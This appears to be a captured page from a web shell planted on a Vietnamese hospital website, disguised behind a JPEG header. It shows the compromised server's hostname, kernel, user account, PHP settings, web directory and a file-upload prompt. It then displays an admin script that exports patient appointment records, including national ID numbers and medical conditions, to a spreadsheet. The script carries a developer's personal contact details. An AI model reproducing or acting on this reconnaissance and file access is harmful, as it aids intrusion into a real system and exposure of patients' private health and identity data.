ÿØÿà JFIF ` ` ÿþ
Server : Apache/2 System : Linux vps.phamthanh.local 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 User : benhviencoc7 ( 1008) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname Directory : /home/benhviencoc7/public_html/adminvn/ |
Upload File : |
<?php /*----------------------------------------*\ | Copyright © C-ILY | | Phone: 0983.998.994 | | Y!m: notepad.html | | Email: truongpv87@gmail.com | \*----------------------------------------*/ define('CILY',true); include('../#includes/config.php'); if (check_log() & check_level() >= 3) { $total = @mysql_num_rows(@mysql_query("SELECT id FROM cily_lichhen")); $data = '<?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" xmlns:html="http://www.w3.org/TR/REC-html40"> <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> <Author>Admin</Author> <LastAuthor>Admin</LastAuthor> <Created>2010-08-12T12:09:16Z</Created> <Company>- ETH0 -</Company> <Version>11.9999</Version> </DocumentProperties> <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> <WindowHeight>9720</WindowHeight> <WindowWidth>15195</WindowWidth> <WindowTopX>480</WindowTopX> <WindowTopY>45</WindowTopY> <ProtectStructure>False</ProtectStructure> <ProtectWindows>False</ProtectWindows> </ExcelWorkbook> <Styles> <Style ss:ID="Default" ss:Name="Normal"> <Alignment ss:Vertical="Bottom"/> <Borders/> <Font/> <Interior/> <NumberFormat/> <Protection/> </Style> <Style ss:ID="s22"> <Alignment ss:Horizontal="Center" ss:Vertical="Top"/> <Font x:Family="Swiss" ss:Size="12" ss:Bold="1"/> </Style> <Style ss:ID="s30"> <Alignment ss:Horizontal="Center" ss:Vertical="Bottom"/> <Borders> <Border ss:Position="Bottom" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Left" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Right" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Top" ss:LineStyle="Continuous" ss:Weight="1"/> </Borders> <Font x:Family="Swiss" ss:Italic="1"/> </Style> <Style ss:ID="s31"> <Alignment ss:Horizontal="Center" ss:Vertical="Bottom"/> <Borders> <Border ss:Position="Bottom" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Left" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Right" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Top" ss:LineStyle="Continuous" ss:Weight="1"/> </Borders> <Font x:Family="Swiss" ss:Bold="1"/> </Style> <Style ss:ID="s32"> <Borders> <Border ss:Position="Bottom" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Left" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Right" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Top" ss:LineStyle="Continuous" ss:Weight="1"/> </Borders> </Style> <Style ss:ID="s33"> <Alignment ss:Horizontal="Center" ss:Vertical="Bottom"/> <Borders> <Border ss:Position="Bottom" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Left" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Right" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Top" ss:LineStyle="Continuous" ss:Weight="1"/> </Borders> </Style> <Style ss:ID="s34"> <Alignment ss:Horizontal="Center" ss:Vertical="Bottom"/> <Borders> <Border ss:Position="Bottom" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Left" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Right" ss:LineStyle="Continuous" ss:Weight="1"/> <Border ss:Position="Top" ss:LineStyle="Continuous" ss:Weight="1"/> </Borders> <NumberFormat ss:Format="#,##0"/> </Style> <Style ss:ID="s35"> <Alignment ss:Horizontal="Center" ss:Vertical="Top"/> <Borders> <Border ss:Position="Bottom" ss:LineStyle="Continuous" ss:Weight="1"/> </Borders> <Font x:Family="Swiss" ss:Bold="1" ss:Italic="1"/> </Style> </Styles> <Worksheet ss:Name="Sheet1"> <Table ss:ExpandedColumnCount="12" ss:ExpandedRowCount="'.($total + 3).'" x:FullColumns="1" x:FullRows="1"> <Column ss:AutoFitWidth="0" ss:Width="30"/> <Column ss:AutoFitWidth="0" ss:Width="150"/> <Column ss:AutoFitWidth="0" ss:Width="80"/> <Column ss:AutoFitWidth="0" ss:Width="80"/> <Column ss:AutoFitWidth="0" ss:Width="100"/> <Column ss:AutoFitWidth="0" ss:Width="300"/> <Column ss:AutoFitWidth="0" ss:Width="100"/> <Column ss:AutoFitWidth="0" ss:Width="100" ss:Span="1"/> <Column ss:AutoFitWidth="0" ss:Width="250"/> <Column ss:Index="11" ss:AutoFitWidth="0" ss:Width="150"/> <Column ss:AutoFitWidth="0" ss:Width="150"/> <Row ss:Height="16"> <Cell ss:MergeAcross="5" ss:StyleID="s22"><Data ss:Type="String">'.get_option('name').'</Data></Cell> </Row> <Row ss:AutoFitHeight="0" ss:Height="28"> <Cell ss:MergeAcross="5" ss:StyleID="s35"><Data ss:Type="String">Bakup thông tin sản phẩm từ Website: '.URL_SITE.' ('.date('d/m/Y',gmmktime()).')</Data></Cell> </Row> <Row ss:AutoFitHeight="0" ss:Height="15"> <Cell ss:StyleID="s30"><Data ss:Type="String">STT</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">TÊN KHÁCH HÀNG</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">NĂM SINH</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">GIỚI TÍNH</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">SĐT</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">ĐỊA CHỈ</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">CCCD</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">LOẠI DỊCH VỤ</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">LIÊN LẠC</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">TÌNH TRẠNG BỆNH</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">NGÀY HẸN KHÁM</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">THỜI GIAN ĐĂNG KÝ</Data></Cell> </Row> '; $product = @mysql_query("SELECT * FROM cily_lichhen ORDER BY id DESC"); while ($pd = @mysql_fetch_array ($product)){ $i ++; $data .= '<Row> <Cell ss:StyleID="s30"><Data ss:Type="Number">'.$pd['id'].'</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">'.$pd['lichhen_hovaten'].'</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">'.$pd['lichhen_namsinh'].'</Data></Cell> <Cell ss:StyleID="s31"><Data ss:Type="String">'.$pd['lichhen_gioitinh'].'</Data></Cell> <Cell ss:StyleID="s32"><Data ss:Type="String">'.$pd['lichhen_phone'].'</Data></Cell> <Cell ss:StyleID="s34"><Data ss:Type="String">'.$pd['lichhen_diachi'].'</Data></Cell>'."\r\n"; $data .= ' <Cell ss:StyleID="s34"><Data ss:Type="String">'.$pd['lichhen_cccd'].'</Data></Cell>'."\r\n"; $data .= ' <Cell ss:StyleID="s35"><Data ss:Type="String">'.$pd['lichhen_loaidv'].'</Data></Cell>'."\r\n"; $data .= ' <Cell ss:StyleID="s34"><Data ss:Type="String">'.$pd['lichhen_lienlac'].'</Data></Cell>'."\r\n"; $data .= ' <Cell ss:StyleID="s32"><Data ss:Type="String">'.$pd['lichhen_tinhtrangbenh'].'</Data></Cell> <Cell ss:StyleID="s32"><Data ss:Type="String">'.$pd['lichhen_lichhen'].'</Data></Cell> <Cell ss:StyleID="s32"><Data ss:Type="String">'.formatTime($pd['lichhen_time'],1).'</Data></Cell> </Row>'."\r\n"; } $data .= '</Table> <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> <Print> <ValidPrinterInfo/> <HorizontalResolution>200</HorizontalResolution> <VerticalResolution>200</VerticalResolution> </Print> <Selected/> <Panes> <Pane> <Number>3</Number> <ActiveRow>2</ActiveRow> <ActiveCol>1</ActiveCol> </Pane> </Panes> <ProtectObjects>False</ProtectObjects> <ProtectScenarios>False</ProtectScenarios> </WorksheetOptions> </Worksheet> <Worksheet ss:Name="Sheet2"> <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> <ProtectObjects>False</ProtectObjects> <ProtectScenarios>False</ProtectScenarios> </WorksheetOptions> </Worksheet> <Worksheet ss:Name="Sheet3"> <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> <ProtectObjects>False</ProtectObjects> <ProtectScenarios>False</ProtectScenarios> </WorksheetOptions> </Worksheet> </Workbook>'; $size = strlen($data); header("Content-disposition: attachment; filename=SP_".date('d_m_y',gmmktime()).".xls"); header('Content-type: application/excel; charset=UTF-8'); header("Content-Length: $size"); echo $data; exit(); } else echo "Hacking attempt"; ?>